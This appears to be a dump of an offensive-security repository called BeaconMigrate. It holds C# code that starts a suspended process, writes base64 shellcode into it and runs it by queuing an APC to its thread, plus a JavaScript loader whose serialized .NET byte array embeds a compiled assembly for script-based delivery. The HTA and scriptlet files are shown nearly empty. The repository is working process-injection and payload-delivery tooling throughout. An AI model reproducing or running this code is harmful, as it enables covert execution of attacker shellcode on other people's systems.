├── BeaconMigrate.Sct
├── BeaconMigrate.cs
├── BeaconMigrate.dll
├── BeaconMigrate.hta
├── BeaconMigrate.js
├── LICENSE
└── README.md
/BeaconMigrate.Sct:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
304 |
305 |
--------------------------------------------------------------------------------
/BeaconMigrate.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.Reflection;
4 | using System.Runtime.InteropServices;
5 |
6 | //C:\Windows\Microsoft.Net\Framework\v2.0.50727\csc.exe /target:library BeaconMigrate.cs
7 | //
8 | [ComVisible(true)]
9 | public class TestClass
10 | {
11 |
12 | public TestClass()
13 | {
14 |
15 | }
16 |
17 | public void Migrate(string x86, string x64, string processpath)
18 | {
19 | string s;
20 |
21 | if(IntPtr.Size == 4)
22 | {
23 | s = x86;
24 | }
25 | else
26 | {
27 | s = x64;
28 | }
29 |
30 | byte[] shellcode = Convert.FromBase64String(s);
31 |
32 | STARTUPINFO si = new STARTUPINFO();
33 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
34 | bool success = CreateProcess(processpath, null,
35 | IntPtr.Zero, IntPtr.Zero, false,
36 | ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW ,
37 | IntPtr.Zero, null, ref si, out pi);
38 |
39 |
40 | IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
41 | IntPtr bytesWritten = IntPtr.Zero;
42 | bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
43 | uint oldProtect = 0;
44 |
45 | resultBool = VirtualProtectEx(pi.hProcess, resultPtr, shellcode.Length, PAGE_EXECUTE_READ, out oldProtect );
46 |
47 | Process targetProc = Process.GetProcessById((int)pi.dwProcessId);
48 | ProcessThreadCollection currentThreads = targetProc.Threads;
49 | IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, currentThreads[0].Id);
50 |
51 | IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
52 |
53 | IntPtr ThreadHandle = pi.hThread;
54 | ResumeThread(ThreadHandle);
55 |
56 |
57 | }
58 |
59 | private static UInt32 MEM_COMMIT = 0x1000;
60 | private static UInt32 PAGE_EXECUTE_READ = 0x20;
61 | private static UInt32 PAGE_READWRITE = 0x04;
62 |
63 |
64 |
65 | //QueueUserAPC Helpers
66 |
67 | [Flags]
68 | public enum ProcessAccessFlags : uint
69 | {
70 | All = 0x001F0FFF,
71 | Terminate = 0x00000001,
72 | CreateThread = 0x00000002,
73 | VirtualMemoryOperation = 0x00000008,
74 | VirtualMemoryRead = 0x00000010,
75 | VirtualMemoryWrite = 0x00000020,
76 | DuplicateHandle = 0x00000040,
77 | CreateProcess = 0x000000080,
78 | SetQuota = 0x00000100,
79 | SetInformation = 0x00000200,
80 | QueryInformation = 0x00000400,
81 | QueryLimitedInformation = 0x00001000,
82 | Synchronize = 0x00100000
83 | }
84 |
85 | [Flags]
86 | public enum ProcessCreationFlags : uint
87 | {
88 | ZERO_FLAG = 0x00000000,
89 | CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
90 | CREATE_DEFAULT_ERROR_MODE = 0x04000000,
91 | CREATE_NEW_CONSOLE = 0x00000010,
92 | CREATE_NEW_PROCESS_GROUP = 0x00000200,
93 | CREATE_NO_WINDOW = 0x08000000,
94 | CREATE_PROTECTED_PROCESS = 0x00040000,
95 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
96 | CREATE_SEPARATE_WOW_VDM = 0x00001000,
97 | CREATE_SHARED_WOW_VDM = 0x00001000,
98 | CREATE_SUSPENDED = 0x00000004,
99 | CREATE_UNICODE_ENVIRONMENT = 0x00000400,
100 | DEBUG_ONLY_THIS_PROCESS = 0x00000002,
101 | DEBUG_PROCESS = 0x00000001,
102 | DETACHED_PROCESS = 0x00000008,
103 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
104 | INHERIT_PARENT_AFFINITY = 0x00010000
105 | }
106 |
107 | public struct PROCESS_INFORMATION
108 | {
109 | public IntPtr hProcess;
110 | public IntPtr hThread;
111 | public uint dwProcessId;
112 | public uint dwThreadId;
113 | }
114 |
115 | public struct STARTUPINFO
116 | {
117 | public uint cb;
118 | public string lpReserved;
119 | public string lpDesktop;
120 | public string lpTitle;
121 | public uint dwX;
122 | public uint dwY;
123 | public uint dwXSize;
124 | public uint dwYSize;
125 | public uint dwXCountChars;
126 | public uint dwYCountChars;
127 | public uint dwFillAttribute;
128 | public uint dwFlags;
129 | public short wShowWindow;
130 | public short cbReserved2;
131 | public IntPtr lpReserved2;
132 | public IntPtr hStdInput;
133 | public IntPtr hStdOutput;
134 | public IntPtr hStdError;
135 | }
136 |
137 | [Flags]
138 | public enum ThreadAccess : int
139 | {
140 | TERMINATE = (0x0001) ,
141 | SUSPEND_RESUME = (0x0002) ,
142 | GET_CONTEXT = (0x0008) ,
143 | SET_CONTEXT = (0x0010) ,
144 | SET_INFORMATION = (0x0020) ,
145 | QUERY_INFORMATION = (0x0040) ,
146 | SET_THREAD_TOKEN = (0x0080) ,
147 | IMPERSONATE = (0x0100) ,
148 | DIRECT_IMPERSONATION = (0x0200)
149 | }
150 |
151 | [DllImport("kernel32.dll", SetLastError = true)]
152 | public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
153 | int dwThreadId);
154 |
155 |
156 | [DllImport("kernel32.dll",SetLastError = true)]
157 | public static extern bool WriteProcessMemory(
158 | IntPtr hProcess,
159 | IntPtr lpBaseAddress,
160 | byte[] lpBuffer,
161 | int nSize,
162 | out IntPtr lpNumberOfBytesWritten);
163 |
164 | [DllImport("kernel32.dll")]
165 | public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
166 |
167 | [DllImport("kernel32.dll", SetLastError = true )]
168 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
169 | Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
170 |
171 | [DllImport("kernel32.dll")]
172 | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
173 | int dwSize, uint flNewProtect, out uint lpflOldProtect);
174 |
175 | [DllImport("kernel32.dll")]
176 | public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
177 | bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,
178 | string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
179 |
180 | [DllImport("kernel32.dll")]
181 | public static extern uint ResumeThread(IntPtr hThread);
182 |
183 | [DllImport("kernel32.dll")]
184 | public static extern uint SuspendThread(IntPtr hThread);
185 |
186 |
187 | }
188 |
--------------------------------------------------------------------------------
/BeaconMigrate.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/johnjohnsp1/Shellcode-Via-HTA/4c7cd33252735230f5e51b815a1cfa4e53a70926/BeaconMigrate.dll
--------------------------------------------------------------------------------
/BeaconMigrate.hta:
--------------------------------------------------------------------------------
1 |
2 |
3 |
12 |
13 |
--------------------------------------------------------------------------------
/BeaconMigrate.js:
--------------------------------------------------------------------------------
1 |
2 | var serialized_obj = [
3 | 0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
4 | 101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
5 | 101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
6 | 68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
7 | 103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
8 | 122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
9 | 101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,
10 | 0,9,3,0,0,0,9,4,0,0,0,4,2,0,0,0,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,
11 | 83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,116,101,69,110,116,114,
12 | 121,7,0,0,0,4,116,121,112,101,8,97,115,115,101,109,98,108,121,6,116,97,114,103,101,116,18,116,97,114,103,101,
13 | 116,84,121,112,101,65,115,115,101,109,98,108,121,14,116,97,114,103,101,116,84,121,112,101,78,97,109,101,10,109,101,116,
14 | 104,111,100,78,97,109,101,13,100,101,108,101,103,97,116,101,69,110,116,114,121,1,1,2,1,1,1,3,48,83,121,115,
15 | 116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,
16 | 68,101,108,101,103,97,116,101,69,110,116,114,121,6,5,0,0,0,47,83,121,115,116,101,109,46,82,117,110,116,105,109,
17 | 101,46,82,101,109,111,116,105,110,103,46,77,101,115,115,97,103,105,110,103,46,72,101,97,100,101,114,72,97,110,100,108,
18 | 101,114,6,6,0,0,0,75,109,115,99,111,114,108,105,98,44,32,86,101,114,115,105,111,110,61,50,46,48,46,48,46,
19 | 48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,80,117,98,108,105,99,75,101,121,84,111,107,
20 | 101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,7,0,0,0,7,116,97,114,103,101,116,48,
21 | 9,6,0,0,0,6,9,0,0,0,15,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,6,10,0,0,0,13,
22 | 68,121,110,97,109,105,99,73,110,118,111,107,101,10,4,3,0,0,0,34,83,121,115,116,101,109,46,68,101,108,101,103,
23 | 97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,101,103,
24 | 97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,7,3,48,83,121,115,116,101,109,46,68,101,
25 | 108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,103,97,
26 | 116,101,69,110,116,114,121,2,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,101,109,98,101,
27 | 114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,11,0,0,0,9,12,0,
28 | 0,0,9,13,0,0,0,4,4,0,0,0,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
29 | 101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,6,0,0,0,
30 | 4,78,97,109,101,12,65,115,115,101,109,98,108,121,78,97,109,101,9,67,108,97,115,115,78,97,109,101,9,83,105,103,
31 | 110,97,116,117,114,101,10,77,101,109,98,101,114,84,121,112,101,16,71,101,110,101,114,105,99,65,114,103,117,109,101,110,
32 | 116,115,1,1,1,1,0,3,8,13,83,121,115,116,101,109,46,84,121,112,101,91,93,9,10,0,0,0,9,6,0,0,
33 | 0,9,9,0,0,0,6,17,0,0,0,44,83,121,115,116,101,109,46,79,98,106,101,99,116,32,68,121,110,97,109,105,
34 | 99,73,110,118,111,107,101,40,83,121,115,116,101,109,46,79,98,106,101,99,116,91,93,41,8,0,0,0,10,1,11,0,
35 | 0,0,2,0,0,0,6,18,0,0,0,32,83,121,115,116,101,109,46,88,109,108,46,83,99,104,101,109,97,46,88,109,
36 | 108,86,97,108,117,101,71,101,116,116,101,114,6,19,0,0,0,77,83,121,115,116,101,109,46,88,109,108,44,32,86,101,
37 | 114,115,105,111,110,61,50,46,48,46,48,46,48,44,32,67,117,108,116,117,114,101,61,110,101,117,116,114,97,108,44,32,
38 | 80,117,98,108,105,99,75,101,121,84,111,107,101,110,61,98,55,55,97,53,99,53,54,49,57,51,52,101,48,56,57,6,
39 | 20,0,0,0,7,116,97,114,103,101,116,48,9,6,0,0,0,6,22,0,0,0,26,83,121,115,116,101,109,46,82,101,
40 | 102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,6,23,0,0,0,4,76,111,97,100,10,15,12,0,0,
41 | 0,0,26,0,0,2,77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,
42 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
43 | 0,0,128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,
44 | 32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,
45 | 0,0,0,0,0,0,80,69,0,0,76,1,3,0,126,169,247,88,0,0,0,0,0,0,0,0,224,0,2,33,11,1,
46 | 8,0,0,18,0,0,0,6,0,0,0,0,0,0,206,49,0,0,0,32,0,0,0,64,0,0,0,0,64,0,0,32,
47 | 0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,128,0,0,0,2,0,0,0,0,
48 | 0,0,3,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,0,0,
49 | 0,0,0,0,0,0,116,49,0,0,87,0,0,0,0,64,0,0,184,2,0,0,0,0,0,0,0,0,0,0,0,0,
50 | 0,0,0,0,0,0,0,96,0,0,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
51 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,
52 | 0,0,8,0,0,0,0,0,0,0,0,0,0,0,8,32,0,0,72,0,0,0,0,0,0,0,0,0,0,0,46,116,
53 | 101,120,116,0,0,0,212,17,0,0,0,32,0,0,0,18,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,
54 | 0,0,32,0,0,96,46,114,115,114,99,0,0,0,184,2,0,0,0,64,0,0,0,4,0,0,0,20,0,0,0,0,
55 | 0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,96,0,0,0,2,
56 | 0,0,0,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,66,0,0,0,0,0,0,0,0,0,0,
57 | 0,0,0,0,0,0,176,49,0,0,0,0,0,0,72,0,0,0,2,0,5,0,132,33,0,0,240,15,0,0,1,0,
58 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
59 | 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,42,2,40,4,0,0,10,0,0,0,
60 | 42,0,19,48,10,0,0,1,0,0,1,0,0,17,0,40,5,0,0,10,26,254,1,22,254,1,19,14,17,14,45,6,
61 | 0,3,10,0,43,4,0,4,10,0,6,40,6,0,0,10,11,18,2,254,21,6,0,0,2,18,3,254,21,5,0,0,
62 | 2,5,20,126,7,0,0,10,126,7,0,0,10,22,32,4,0,0,8,126,7,0,0,10,20,18,2,18,3,40,8,0,
63 | 0,6,19,4,18,3,123,36,0,0,4,126,7,0,0,10,7,142,105,126,1,0,0,4,126,3,0,0,4,40,6,0,
64 | 0,6,19,5,126,7,0,0,10,19,6,18,3,123,36,0,0,4,17,5,7,7,142,105,18,6,40,4,0,0,6,19,
65 | 7,22,19,8,18,3,123,36,0,0,4,17,5,7,142,105,126,2,0,0,4,18,8,40,7,0,0,6,19,7,18,3,
66 | 123,38,0,0,4,40,8,0,0,10,19,9,17,9,111,9,0,0,10,19,10,31,16,22,17,10,22,111,10,0,0,10,
67 | 111,11,0,0,10,40,3,0,0,6,19,11,17,5,17,11,126,7,0,0,10,40,5,0,0,6,19,12,18,3,123,37,
68 | 0,0,4,19,13,17,13,40,9,0,0,6,38,42,98,32,0,16,0,0,128,1,0,0,4,31,32,128,2,0,0,4,
69 | 26,128,3,0,0,4,42,0,0,0,66,83,74,66,1,0,1,0,0,0,0,0,12,0,0,0,118,50,46,48,46,53,
70 | 48,55,50,55,0,0,0,0,5,0,108,0,0,0,36,6,0,0,35,126,0,0,144,6,0,0,232,7,0,0,35,83,
71 | 116,114,105,110,103,115,0,0,0,0,120,14,0,0,8,0,0,0,35,85,83,0,128,14,0,0,16,0,0,0,35,71,
72 | 85,73,68,0,0,0,144,14,0,0,96,1,0,0,35,66,108,111,98,0,0,0,0,0,0,0,2,0,0,1,87,29,
73 | 2,20,9,2,0,0,0,250,1,51,0,22,0,0,1,0,0,0,16,0,0,0,7,0,0,0,67,0,0,0,11,0,
74 | 0,0,36,0,0,0,15,0,0,0,39,0,0,0,6,0,0,0,1,0,0,0,1,0,0,0,8,0,0,0,1,0,
75 | 0,0,2,0,0,0,5,0,0,0,0,0,10,0,1,0,0,0,0,0,6,0,139,0,132,0,6,0,146,0,132,0,
76 | 6,0,151,0,132,0,6,0,2,5,226,4,6,0,34,5,226,4,6,0,109,5,78,5,6,0,149,5,132,0,6,0,
77 | 165,5,132,0,10,0,214,5,195,5,10,0,237,5,195,5,10,0,17,6,195,5,6,0,47,6,78,5,6,0,162,6,
78 | 78,5,6,0,183,7,132,0,6,0,198,7,78,5,6,0,220,7,78,5,0,0,0,0,1,0,0,0,0,0,1,0,
79 | 1,0,1,0,16,0,28,0,0,0,5,0,1,0,1,0,2,1,0,0,38,0,0,0,9,0,4,0,12,0,2,1,
80 | 0,0,57,0,0,0,9,0,18,0,12,0,10,1,16,0,78,0,0,0,13,0,36,0,12,0,10,1,16,0,98,0,
81 | 0,0,13,0,40,0,12,0,2,1,0,0,110,0,0,0,9,0,58,0,12,0,17,0,175,0,21,0,17,0,186,0,
82 | 21,0,17,0,204,0,21,0,6,6,79,1,21,0,86,128,87,1,93,0,86,128,91,1,93,0,86,128,101,1,93,0,
83 | 86,128,114,1,93,0,86,128,137,1,93,0,86,128,155,1,93,0,86,128,174,1,93,0,86,128,38,1,93,0,86,128,
84 | 190,1,93,0,86,128,199,1,93,0,86,128,214,1,93,0,86,128,231,1,93,0,86,128,255,1,93,0,6,6,79,1,
85 | 21,0,86,128,11,2,162,0,86,128,21,2,162,0,86,128,47,2,162,0,86,128,73,2,162,0,86,128,92,2,162,0,
86 | 86,128,117,2,162,0,86,128,134,2,162,0,86,128,159,2,162,0,86,128,192,2,162,0,86,128,216,2,162,0,86,128,
87 | 238,2,162,0,86,128,255,2,162,0,86,128,26,3,162,0,86,128,50,3,162,0,86,128,64,3,162,0,86,128,81,3,
88 | 162,0,86,128,110,3,162,0,6,0,134,3,211,0,6,0,143,3,211,0,6,0,151,3,21,0,6,0,163,3,21,0,
89 | 6,0,174,3,21,0,6,0,177,3,214,0,6,0,188,3,214,0,6,0,198,3,214,0,6,0,206,3,21,0,6,0,
90 | 210,3,21,0,6,0,214,3,21,0,6,0,222,3,21,0,6,0,230,3,21,0,6,0,244,3,21,0,6,0,2,4,
91 | 21,0,6,0,18,4,21,0,6,0,26,4,217,0,6,0,38,4,217,0,6,0,50,4,211,0,6,0,62,4,211,0,
92 | 6,0,72,4,211,0,6,0,83,4,211,0,6,6,79,1,220,0,86,128,93,4,223,0,86,128,103,4,223,0,86,128,
93 | 118,4,223,0,86,128,130,4,223,0,86,128,142,4,223,0,86,128,158,4,223,0,86,128,176,4,223,0,86,128,193,4,
94 | 223,0,86,128,205,4,223,0,80,32,0,0,0,0,134,24,161,0,10,0,1,0,92,32,0,0,0,0,134,0,167,0,
95 | 14,0,1,0,0,0,0,0,128,0,150,32,219,0,24,0,4,0,0,0,0,0,128,0,150,32,230,0,32,0,7,0,
96 | 0,0,0,0,128,0,150,32,249,0,43,0,12,0,0,0,0,0,128,0,150,32,6,1,50,0,15,0,0,0,0,0,
97 | 128,0,145,32,21,1,59,0,20,0,0,0,0,0,128,0,150,32,38,1,69,0,25,0,0,0,0,0,128,0,150,32,
98 | 52,1,88,0,35,0,0,0,0,0,128,0,150,32,65,1,88,0,36,0,104,33,0,0,0,0,145,24,176,7,46,1,
99 | 37,0,0,0,1,0,129,5,0,0,2,0,133,5,0,0,3,0,137,5,0,0,1,0,79,6,0,0,2,0,95,6,
100 | 0,0,3,0,163,3,0,0,1,0,134,3,0,0,2,0,110,6,0,0,3,0,124,6,0,0,4,0,133,6,2,0,
101 | 5,0,139,6,0,0,1,0,175,6,0,0,2,0,143,3,0,0,3,0,182,6,0,0,1,0,134,3,0,0,2,0,
102 | 189,6,0,0,3,0,199,6,0,0,4,0,206,6,0,0,5,0,223,6,0,0,1,0,134,3,0,0,2,0,189,6,
103 | 0,0,3,0,199,6,0,0,4,0,233,6,2,0,5,0,246,6,0,0,1,0,5,7,0,0,2,0,23,7,0,0,
104 | 3,0,37,7,0,0,4,0,57,7,0,0,5,0,76,7,0,0,6,0,92,7,0,0,7,0,108,7,0,0,8,0,
105 | 122,7,0,0,9,0,141,7,2,0,10,0,155,7,0,0,1,0,143,3,0,0,1,0,143,3,33,0,161,0,227,0,
106 | 41,0,161,0,10,0,49,0,161,0,232,0,9,0,161,0,10,0,57,0,156,5,243,0,65,0,173,5,247,0,57,0,
107 | 190,5,211,0,73,0,222,5,253,0,73,0,5,6,3,1,81,0,31,6,8,1,89,0,40,6,14,1,97,0,161,0,
108 | 41,1,105,0,161,0,10,0,113,0,161,0,10,0,121,0,161,0,50,1,9,0,20,0,97,0,9,0,24,0,102,0,
109 | 9,0,28,0,107,0,9,0,32,0,112,0,9,0,36,0,117,0,9,0,40,0,122,0,9,0,44,0,127,0,9,0,
110 | 48,0,132,0,9,0,52,0,137,0,9,0,56,0,142,0,9,0,60,0,147,0,9,0,64,0,152,0,9,0,68,0,
111 | 157,0,9,0,76,0,166,0,9,0,80,0,171,0,9,0,84,0,176,0,9,0,88,0,117,0,9,0,92,0,142,0,
112 | 9,0,96,0,181,0,9,0,100,0,186,0,9,0,104,0,191,0,9,0,108,0,152,0,9,0,112,0,152,0,9,0,
113 | 116,0,196,0,9,0,120,0,147,0,9,0,124,0,107,0,9,0,128,0,102,0,9,0,132,0,112,0,9,0,136,0,
114 | 201,0,9,0,140,0,206,0,8,0,236,0,102,0,8,0,240,0,107,0,8,0,244,0,112,0,8,0,248,0,117,0,
115 | 8,0,252,0,122,0,8,0,0,1,127,0,8,0,4,1,132,0,8,0,8,1,137,0,8,0,12,1,142,0,46,0,
116 | 11,0,56,1,46,0,19,0,65,1,67,0,27,0,237,0,99,0,115,0,102,0,131,0,115,0,102,0,227,0,115,0,
117 | 102,0,18,1,66,6,64,1,7,0,219,0,1,0,64,1,9,0,230,0,1,0,0,1,11,0,249,0,1,0,64,1,
118 | 13,0,6,1,1,0,0,1,15,0,21,1,1,0,0,1,17,0,38,1,1,0,0,1,19,0,52,1,1,0,0,1,
119 | 21,0,65,1,1,0,4,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,5,0,0,2,0,0,0,
120 | 0,0,0,0,0,0,0,0,1,0,123,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,1,0,132,0,
121 | 0,0,0,0,3,0,2,0,4,0,2,0,5,0,2,0,6,0,2,0,7,0,2,0,0,0,0,60,77,111,100,117,
122 | 108,101,62,0,66,101,97,99,111,110,77,105,103,114,97,116,101,46,100,108,108,0,84,101,115,116,67,108,97,115,115,0,
123 | 80,114,111,99,101,115,115,65,99,99,101,115,115,70,108,97,103,115,0,80,114,111,99,101,115,115,67,114,101,97,116,105,
124 | 111,110,70,108,97,103,115,0,80,82,79,67,69,83,83,95,73,78,70,79,82,77,65,84,73,79,78,0,83,84,65,82,
125 | 84,85,80,73,78,70,79,0,84,104,114,101,97,100,65,99,99,101,115,115,0,109,115,99,111,114,108,105,98,0,83,121,
126 | 115,116,101,109,0,79,98,106,101,99,116,0,69,110,117,109,0,86,97,108,117,101,84,121,112,101,0,46,99,116,111,114,
127 | 0,77,105,103,114,97,116,101,0,77,69,77,95,67,79,77,77,73,84,0,80,65,71,69,95,69,88,69,67,85,84,69,
128 | 95,82,69,65,68,0,80,65,71,69,95,82,69,65,68,87,82,73,84,69,0,79,112,101,110,84,104,114,101,97,100,0,
129 | 87,114,105,116,101,80,114,111,99,101,115,115,77,101,109,111,114,121,0,81,117,101,117,101,85,115,101,114,65,80,67,0,
130 | 86,105,114,116,117,97,108,65,108,108,111,99,69,120,0,86,105,114,116,117,97,108,80,114,111,116,101,99,116,69,120,0,
131 | 67,114,101,97,116,101,80,114,111,99,101,115,115,0,82,101,115,117,109,101,84,104,114,101,97,100,0,83,117,115,112,101,
132 | 110,100,84,104,114,101,97,100,0,118,97,108,117,101,95,95,0,65,108,108,0,84,101,114,109,105,110,97,116,101,0,67,
133 | 114,101,97,116,101,84,104,114,101,97,100,0,86,105,114,116,117,97,108,77,101,109,111,114,121,79,112,101,114,97,116,105,
134 | 111,110,0,86,105,114,116,117,97,108,77,101,109,111,114,121,82,101,97,100,0,86,105,114,116,117,97,108,77,101,109,111,
135 | 114,121,87,114,105,116,101,0,68,117,112,108,105,99,97,116,101,72,97,110,100,108,101,0,83,101,116,81,117,111,116,97,
136 | 0,83,101,116,73,110,102,111,114,109,97,116,105,111,110,0,81,117,101,114,121,73,110,102,111,114,109,97,116,105,111,110,
137 | 0,81,117,101,114,121,76,105,109,105,116,101,100,73,110,102,111,114,109,97,116,105,111,110,0,83,121,110,99,104,114,111,
138 | 110,105,122,101,0,90,69,82,79,95,70,76,65,71,0,67,82,69,65,84,69,95,66,82,69,65,75,65,87,65,89,95,
139 | 70,82,79,77,95,74,79,66,0,67,82,69,65,84,69,95,68,69,70,65,85,76,84,95,69,82,82,79,82,95,77,79,
140 | 68,69,0,67,82,69,65,84,69,95,78,69,87,95,67,79,78,83,79,76,69,0,67,82,69,65,84,69,95,78,69,87,
141 | 95,80,82,79,67,69,83,83,95,71,82,79,85,80,0,67,82,69,65,84,69,95,78,79,95,87,73,78,68,79,87,0,
142 | 67,82,69,65,84,69,95,80,82,79,84,69,67,84,69,68,95,80,82,79,67,69,83,83,0,67,82,69,65,84,69,95,
143 | 80,82,69,83,69,82,86,69,95,67,79,68,69,95,65,85,84,72,90,95,76,69,86,69,76,0,67,82,69,65,84,69,
144 | 95,83,69,80,65,82,65,84,69,95,87,79,87,95,86,68,77,0,67,82,69,65,84,69,95,83,72,65,82,69,68,95,
145 | 87,79,87,95,86,68,77,0,67,82,69,65,84,69,95,83,85,83,80,69,78,68,69,68,0,67,82,69,65,84,69,95,
146 | 85,78,73,67,79,68,69,95,69,78,86,73,82,79,78,77,69,78,84,0,68,69,66,85,71,95,79,78,76,89,95,84,
147 | 72,73,83,95,80,82,79,67,69,83,83,0,68,69,66,85,71,95,80,82,79,67,69,83,83,0,68,69,84,65,67,72,
148 | 69,68,95,80,82,79,67,69,83,83,0,69,88,84,69,78,68,69,68,95,83,84,65,82,84,85,80,73,78,70,79,95,
149 | 80,82,69,83,69,78,84,0,73,78,72,69,82,73,84,95,80,65,82,69,78,84,95,65,70,70,73,78,73,84,89,0,
150 | 104,80,114,111,99,101,115,115,0,104,84,104,114,101,97,100,0,100,119,80,114,111,99,101,115,115,73,100,0,100,119,84,
151 | 104,114,101,97,100,73,100,0,99,98,0,108,112,82,101,115,101,114,118,101,100,0,108,112,68,101,115,107,116,111,112,0,
152 | 108,112,84,105,116,108,101,0,100,119,88,0,100,119,89,0,100,119,88,83,105,122,101,0,100,119,89,83,105,122,101,0,
153 | 100,119,88,67,111,117,110,116,67,104,97,114,115,0,100,119,89,67,111,117,110,116,67,104,97,114,115,0,100,119,70,105,
154 | 108,108,65,116,116,114,105,98,117,116,101,0,100,119,70,108,97,103,115,0,119,83,104,111,119,87,105,110,100,111,119,0,
155 | 99,98,82,101,115,101,114,118,101,100,50,0,108,112,82,101,115,101,114,118,101,100,50,0,104,83,116,100,73,110,112,117,
156 | 116,0,104,83,116,100,79,117,116,112,117,116,0,104,83,116,100,69,114,114,111,114,0,84,69,82,77,73,78,65,84,69,
157 | 0,83,85,83,80,69,78,68,95,82,69,83,85,77,69,0,71,69,84,95,67,79,78,84,69,88,84,0,83,69,84,95,
158 | 67,79,78,84,69,88,84,0,83,69,84,95,73,78,70,79,82,77,65,84,73,79,78,0,81,85,69,82,89,95,73,78,
159 | 70,79,82,77,65,84,73,79,78,0,83,69,84,95,84,72,82,69,65,68,95,84,79,75,69,78,0,73,77,80,69,82,
160 | 83,79,78,65,84,69,0,68,73,82,69,67,84,95,73,77,80,69,82,83,79,78,65,84,73,79,78,0,83,121,115,116,
161 | 101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,101,114,83,101,114,118,105,99,101,115,0,67,111,109,112,
162 | 105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,115,65,116,116,114,105,98,117,116,101,0,82,117,110,116,
163 | 105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,116,116,114,105,98,117,116,101,0,66,101,97,99,111,110,
164 | 77,105,103,114,97,116,101,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,
